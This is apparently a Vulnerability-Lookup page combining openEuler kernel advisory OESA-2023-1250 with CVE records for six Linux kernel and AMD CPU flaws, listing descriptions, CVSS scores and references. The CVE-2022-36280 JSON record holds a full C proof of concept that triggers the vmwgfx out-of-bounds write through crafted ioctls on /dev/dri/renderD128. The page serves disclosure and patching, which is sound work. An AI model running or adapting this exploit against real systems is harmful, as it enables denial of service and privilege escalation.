Vulnerability-Lookup

OESA-2023-1250 (CVE-2022-1015)

Vulnerability from osv_openeuler – Published: 2023-04-21 11:05 – Updated: 2026-08-06 11:05 – Source website

Summary

kernel security update

Details

The Linux Kernel, the operating system core itself.

Security Fix(es):

A flaw was found in the Linux kernel in linux/net/netfilter/nf_tables_api.c of the netfilter subsystem. This flaw allows a local user to cause an out-of-bounds write issue.(CVE-2022-1015)

An out-of-bounds(OOB) memory access vulnerability was found in vmwgfx driver in drivers/gpu/vmxgfx/vmxgfx_kms.c in GPU component in the Linux kernel with device file '/dev/dri/renderD128 (or Dxxx)'. This flaw allows a local attacker with a user account on the system to gain privilege, causing a denial of service(DoS).(CVE-2022-36280)

When SMT is enabled, certain AMD processors may speculatively execute instructions using a target from the sibling thread after an SMT mode switch potentially resulting in information disclosure.(CVE-2022-27672)

An issue was discovered in arch/x86/kvm/vmx/nested.c in the Linux kernel before 6.2.8. nVMX on x86_64 lacks consistency checks for CR0 and CR4.(CVE-2023-30456)

A use-after-free flaw was found in btsdio_remove in drivers\bluetooth\btsdio.c in the Linux Kernel. In this flaw, a call to btsdio_remove with an unfinished job, may cause a race problem leading to a UAF on hdev devices.(CVE-2023-1989)

A use-after-free vulnerability in the Linux Kernel traffic control index filter (tcindex) can be exploited to achieve local privilege escalation. The tcindex_delete function which does not properly deactivate filters in case of a perfect hashes while deleting the underlying structure which can later lead to double freeing the structure. A local attacker user can use this vulnerability to elevate its privileges to root. We recommend upgrading past commit 8c710f75256bb3cf05ac7b1672c82b92c43f3d28.

(CVE-2023-1829)

Severity

7.8 (High)


                    
                      CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

References

URL

Type

	https://www.openeuler.org/en/security/safety-bull…	ADVISORY
	https://nvd.nist.gov/vuln/detail/CVE-2022-1015	ADVISORY
	https://nvd.nist.gov/vuln/detail/CVE-2022-36280	ADVISORY
	https://nvd.nist.gov/vuln/detail/CVE-2022-27672	ADVISORY
	https://nvd.nist.gov/vuln/detail/CVE-2023-30456	ADVISORY
	https://nvd.nist.gov/vuln/detail/CVE-2023-1989	ADVISORY
	https://nvd.nist.gov/vuln/detail/CVE-2023-1829	ADVISORY

JSON

To clipboard

{
  "affected": [
    {
      "ecosystem_specific": {
        "aarch64": [
          "kernel-tools-5.10.0-136.29.0.105.oe2203sp1.aarch64.rpm",
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  "details": "The Linux Kernel, the operating system core itself.\r\n\r\nSecurity Fix(es):\r\n\r\nA flaw was found in the Linux kernel in linux/net/netfilter/nf_tables_api.c of the netfilter subsystem. This flaw allows a local user to cause an out-of-bounds write issue.(CVE-2022-1015)\r\n\r\nAn out-of-bounds(OOB) memory access vulnerability was found in vmwgfx driver in drivers/gpu/vmxgfx/vmxgfx_kms.c in GPU component in the Linux kernel with device file \u0026apos;/dev/dri/renderD128 (or Dxxx)\u0026apos;. This flaw allows a local attacker with a user account on the system to gain privilege, causing a denial of service(DoS).(CVE-2022-36280)\r\n\r\nWhen SMT is enabled, certain AMD processors may speculatively execute instructions using a target from the sibling thread after an SMT mode switch potentially resulting in information disclosure.(CVE-2022-27672)\r\n\r\nAn issue was discovered in arch/x86/kvm/vmx/nested.c in the Linux kernel before 6.2.8. nVMX on x86_64 lacks consistency checks for CR0 and CR4.(CVE-2023-30456)\r\n\r\nA use-after-free flaw was found in btsdio_remove in drivers\\bluetooth\\btsdio.c in the Linux Kernel. In this flaw, a call to btsdio_remove with an unfinished job, may cause a race problem leading to a UAF on hdev devices.(CVE-2023-1989)\r\n\r\nA use-after-free vulnerability in the Linux Kernel traffic control index filter (tcindex) can be exploited to achieve local privilege escalation.\u00a0The tcindex_delete function which does not properly deactivate filters in case of a perfect hashes while deleting the underlying structure which can later lead to double freeing the structure.\u00a0A local attacker user can use this vulnerability to elevate its privileges to root.\nWe recommend upgrading past commit 8c710f75256bb3cf05ac7b1672c82b92c43f3d28.\r\n\r\n(CVE-2023-1829)",
  "id": "OESA-2023-1250",
  "modified": "2026-08-06T11:05:43Z",
  "published": "2023-04-21T11:05:43Z",
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}

CVE-2022-1015 (GCVE-0-2022-1015)

Vulnerability from cvelistv5 – Published: 2022-04-29 00:00 – Updated: 2024-08-02 23:47

Summary

A flaw was found in the Linux kernel in linux/net/netfilter/nf_tables_api.c of the netfilter subsystem. This flaw allows a local user to cause an out-of-bounds write issue.

Severity

No CVSS data available.

CWE

CWE-787

Assigner

redhat redhat root

References

7 references

URL	Tags
https://bugzilla.redhat.com/show_bug.cgi?id=2065323
http://blog.dbouman.nl/2022/04/02/How-The-Tables-…
https://seclists.org/oss-sec/2022/q1/205
http://www.openwall.com/lists/oss-security/2022/08/25/2	mailing-list
http://packetstormsecurity.com/files/169951/Kerne…
http://www.openwall.com/lists/oss-security/2023/01/13/2	mailing-list
http://www.openwall.com/lists/oss-security/2023/02/23/1	mailing-list

Impacted products

1 product

Vendor	Product	Version
n/a	kernel	Affected: Kernel 5.16.18

Show details on NVD website

JSON

To clipboard

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CVE-2022-27672 (GCVE-0-2022-27672)

Vulnerability from cvelistv5 – Published: 2023-02-14 19:34 – Updated: 2026-04-13 19:53

Summary

When SMT is enabled, certain AMD processors may speculatively execute instructions using a target from the sibling thread after an SMT mode switch potentially resulting in information disclosure.

Severity

No CVSS data available.

CWE

Assigner

AMD mitre root

References

3 references

URL	Tags
https://www.amd.com/en/corporate/product-security…	vendor-advisory
https://security.gentoo.org/glsa/202402-07
http://xenbits.xen.org/xsa/advisory-426.html

Impacted products

12 products

Vendor	Product	Version
AMD	1st Gen AMD EPYC™ Processors	Affected: Contact your OS vendor
AMD	2nd Gen AMD EPYC™ Processors	Affected: Contact your OS vendor
AMD	Athlon™ X4 Processor	Affected: Contact your OS vendor
AMD	Ryzen™ Threadripper™ PRO Processor	Affected: Contact your OS vendor
AMD	2nd Gen AMD Ryzen™ Threadripper™ Processors	Affected: Contact your OS vendor
AMD	3rd Gen AMD Ryzen™ Threadripper™ Processors	Affected: Contact your OS vendor
AMD	7th Generation AMD A-Series APUs	Affected: Contact your OS vendor
AMD	Ryzen™ 2000 Series Processors	Affected: Contact your OS vendor
AMD	Ryzen™ 3000 Series Processors	Affected: Contact your OS vendor
AMD	Ryzen™ 4000 Series Processors	Affected: Contact your OS vendor
AMD	Ryzen™ 5000 Series Processors	Affected: Contact your OS vendor
AMD	Athlon™ Mobile Processors	Affected: Contact your OS vendor

Date Public

2023-02-14 17:00

Show details on NVD website

JSON

To clipboard

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    "assignerShortName": "AMD",
    "cveId": "CVE-2022-27672",
    "datePublished": "2023-02-14T19:34:54.028Z",
    "dateReserved": "2022-03-23T14:57:22.754Z",
    "dateUpdated": "2026-04-13T19:53:49.458Z",
    "state": "PUBLISHED"
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CVE-2022-36280 (GCVE-0-2022-36280)

Vulnerability from cvelistv5 – Published: 2022-09-09 14:39 – Updated: 2024-09-17 00:01

Title

There is an out-of-bounds write vulnerability in vmwgfx driver

Summary

Severity

6.3 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:H

CWE

CWE-120 - Buffer Overflow

Assigner

Anolis mitre root

References

4 references

URL	Tags
https://bugzilla.openanolis.cn/show_bug.cgi?id=2071
https://www.debian.org/security/2023/dsa-5324	vendor-advisory
https://lists.debian.org/debian-lts-announce/2023…	mailing-list
https://lists.debian.org/debian-lts-announce/2023…	mailing-list

Impacted products

1 product

Vendor	Product	Version
Linux	kernel	Affected: v3.2-rc1 , < 5.13.0-52* (custom)

Date Public

2022-09-06 00:00

Credits

Ziming Zhang(ezrakiez@gmail.com) from Ant Group Light-Year Security Lab

Show details on NVD website

JSON

To clipboard

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  "containers": {
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      "datePublic": "2022-09-06T00:00:00.000Z",
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          "lang": "en",
          "value": "An out-of-bounds(OOB) memory access vulnerability was found in vmwgfx driver in drivers/gpu/vmxgfx/vmxgfx_kms.c in GPU component in the Linux kernel with device file \u0027/dev/dri/renderD128 (or Dxxx)\u0027. This flaw allows a local attacker with a user account on the system to gain privilege, causing a denial of service(DoS)."
        }
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      "exploits": [
        {
          "lang": "en",
          "value": "#include \u003cstdio.h\u003e\n#include \u003cstring.h\u003e\n#include \u003cunistd.h\u003e\n#include \u003cerrno.h\u003e\n\n#include \u003clinux/if_tun.h\u003e\n#include \u003cnet/if.h\u003e\n#include \u003csys/ioctl.h\u003e\n#include \u003csys/types.h\u003e\n#include \u003csys/stat.h\u003e\n#include \u003cfcntl.h\u003e\n#include \u003cpthread.h\u003e\n#include \u003csys/socket.h\u003e\n#include \u003cstring.h\u003e\n#include \u003cunistd.h\u003e\n#include \u003cstdlib.h\u003e\n#include \u003csys/ioctl.h\u003e\n#include \u003cerrno.h\u003e\n#include \u003cstdio.h\u003e\n#include \u003cfcntl.h\u003e\n#include \u003cpthread.h\u003e\n#include \u003cstdio.h\u003e\n#include \u003csys/types.h\u003e\n#include \u003cstdint.h\u003e\n#include \u003cnetinet/ip.h\u003e\n#include \u003csys/resource.h\u003e\n#include \u003csys/syscall.h\u003e\n#include \u003climits.h\u003e\n#include \u003csys/mman.h\u003e\n\n#include \u003clinux/fs.h\u003e\nint fd = 0;\ntypedef struct mixer\n{\n\tint index;\n\tint fd;\n\tchar *msg;\n}mixer_t;\n\nstruct drm_vmw_surface_create_req {\n\t__u32 flags;\n\t__u32 format;\n\t__u32 mip_levels[6];\n\t__u64 size_addr;\n\t__s32 shareable;\n\t__s32 scanout;\n};\nstruct drm_vmw_execbuf_arg {\n\t__u64 commands;\n\t__u32 command_size;\n\t__u32 throttle_us;\n\t__u64 fence_rep;\n\t__u32 version;\n\t__u32 flags;\n\t__u32 context_handle;\n\t__s32 imported_fence_fd;\n};\nvoid init(){\nif ((fd = open(\"/dev/dri/renderD128\", O_RDWR)) == -1)\n                {\n                        printf(\"open tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\n       \n}\nvoid poc(int handle,int sid){\nchar *vaddr=(unsigned long)mmap(NULL,\n               0x2000,\n                PROT_READ | PROT_WRITE,\n                MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE /* important */,\n-1, 0);\n\t\n\t if (mlock((void *)vaddr, 0x2000) == -1) {\n                printf(\"[-] failed to lock memory (%s), aborting!\\n\",\n                        strerror(errno));\n                        }\n                        \n          memset(vaddr,\"a\",0x2000);     \nint cmd[0x1000]={0};\ncmd[0]=1044;\ncmd[1]=0x50;\ncmd[2]=handle;\ncmd[3]=0;\ncmd[5]=sid;\ncmd[6]=0;\ncmd[7]=0;\ncmd[13]=1;\ncmd[12]=0x2000;\ncmd[14]=1;\ncmd[19]=12;\nstruct drm_vmw_execbuf_arg arg={0};\n\targ.commands=cmd;\n\targ.command_size=0x100;\n\targ.version=1;  \n                if (ioctl(fd, 0x4028644C, \u0026arg) == -1)\n                {\n                        printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\n\n}\nint alloc_bo(){\n\nint arg[0x10]={0};\narg[0]=0x10000;\nif (ioctl(fd, 0xC0186441, \u0026arg) == -1)\n                {\n                        printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\n   return arg[2];         \n}\n\nint create_surface(){\nint buf[0x100]={0};\nbuf[0]=64;\nbuf[1]=64;\nbuf[2]=64;\n\nstruct drm_vmw_surface_create_req arg={0};\narg.flags=0;\narg.format=2;\narg.mip_levels[0]=1;\narg.size_addr=buf;\narg.shareable=0;\narg.scanout=0x10;\n\nif (ioctl(fd, 0xC0306449, \u0026arg) == -1)\n                {\n                        printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\nreturn arg.flags;\n}\nint main(int ac, char **argv)\n{\ninit();\nint handle=alloc_bo();\n  int sid =    create_surface();     \n  printf(\"%d\",sid);     \n    poc(handle,sid);            \n  \n}"
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CVE-2023-1829 (GCVE-0-2023-1829)

Vulnerability from cvelistv5 – Published: 2023-04-12 11:16 – Updated: 2026-07-29 13:57

Title

Use-after-free in tcindex (traffic control index filter) in the Linux Kernel

Summary

Severity

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

SSVC

Exploitation: none Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2025-02-07 15:50 UTC

CWE

CWE-416 - Use After Free

Assigner

Google Google root

References

5 references

URL	Tags
https://git.kernel.org/pub/scm/linux/kernel/git/t…
https://kernel.dance/#8c710f75256bb3cf05ac7b1672c…
https://lists.debian.org/debian-lts-announce/2023…
https://lists.debian.org/debian-lts-announce/2023…
https://security.netapp.com/advisory/ntap-2023060…

Impacted products

1 product

Vendor	Product	Version
Linux	Linux Kernel	Affected: 3.8.0 , < 4.14.308 (semver) Affected: 4.15.0 , < 4.19.276 (semver) Affected: 4.20.0 , < 5.4.235 (semver) Affected: 5.5.0 , < 5.10.173 (semver) Affected: 5.11.0 , < 5.15.100 (semver) Affected: 5.16.0 , < 6.1.18 (semver) Affected: 6.2.0 , < 6.2.5 (semver) Unaffected: 6.3.0 (semver) Unaffected: 8c710f75256bb3cf05ac7b1672c82b92c43f3d28 (git) cpe:2.3:o:linux:linux_kernel::::::::

Date Public

2023-02-16 08:27

Show details on NVD website

JSON

To clipboard

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            "availabilityImpact": "HIGH",
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CVE-2023-1989 (GCVE-0-2023-1989)

Vulnerability from cvelistv5 – Published: 2023-04-11 00:00 – Updated: 2024-08-26 13:09

Summary

Severity

7.1 (High)


                        
                          CVSS:3.1/AV:A/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

SSVC

Exploitation: none Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2024-05-10 04:00 UTC

CWE

CWE-416

Assigner

redhat redhat root

References

6 references

URL	Tags
https://git.kernel.org/pub/scm/linux/kernel/git/b…
https://lists.debian.org/debian-lts-announce/2023…	mailing-list
https://lists.debian.org/debian-lts-announce/2023…	mailing-list
https://security.netapp.com/advisory/ntap-2023060…
https://www.debian.org/security/2023/dsa-5492	vendor-advisory
https://lists.debian.org/debian-lts-announce/2024…	mailing-list

Impacted products

4 products

Vendor	Product	Version
n/a	Kernel	Affected: Linux kernel version prior to Kernel 6.3 RC4
netapp	hci_baseboard_management_controller	Affected: h300s Affected: h410c Affected: h410s Affected: h500s Affected: h700s cpe:2.3:a:netapp:hci_baseboard_management_controller:h300s:::::::* cpe:2.3:a:netapp:hci_baseboard_management_controller:h410c:::::::* cpe:2.3:a:netapp:hci_baseboard_management_controller:h410s:::::::* cpe:2.3:a:netapp:hci_baseboard_management_controller:h500s:::::::* cpe:2.3:a:netapp:hci_baseboard_management_controller:h700s:::::::*
linux	linux_kernel	Affected: 0 , < 6.3+rc4 (custom) cpe:2.3:o:linux:linux_kernel::::::::
debian	debian_linux	Affected: 5.10.178-3 cpe:2.3:o:debian:debian_linux:-:::::::*

Show details on NVD website

JSON

To clipboard

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CVE-2023-30456 (GCVE-0-2023-30456)

Vulnerability from cvelistv5 – Published: 2023-04-10 00:00 – Updated: 2025-03-19 15:43

Summary

An issue was discovered in arch/x86/kvm/vmx/nested.c in the Linux kernel before 6.2.8. nVMX on x86_64 lacks consistency checks for CR0 and CR4.

Severity

6.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H

SSVC

Exploitation: none Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2025-03-06 15:56 UTC

CWE

n/a
CWE-754 - Improper Check for Unusual or Exceptional Conditions

Assigner

mitre mitre root

References

6 references

URL	Tags
https://github.com/torvalds/linux/commit/112e6601…
https://cdn.kernel.org/pub/linux/kernel/v6.x/Chan…
https://lists.debian.org/debian-lts-announce/2023…	mailing-list
https://lists.debian.org/debian-lts-announce/2023…	mailing-list
https://security.netapp.com/advisory/ntap-2023051…
http://packetstormsecurity.com/files/173757/Kerne…

Show details on NVD website

JSON

To clipboard

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Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

OESA-2023-1250 (CVE-2022-1015)

CVE-2022-1015 (GCVE-0-2022-1015)

CVE-2022-27672 (GCVE-0-2022-27672)

CVE-2022-36280 (GCVE-0-2022-36280)

CVE-2023-1829 (GCVE-0-2023-1829)

CVE-2023-1989 (GCVE-0-2023-1989)

CVE-2023-30456 (GCVE-0-2023-30456)

Tags

Sightings

Nomenclature

Related by attack behaviour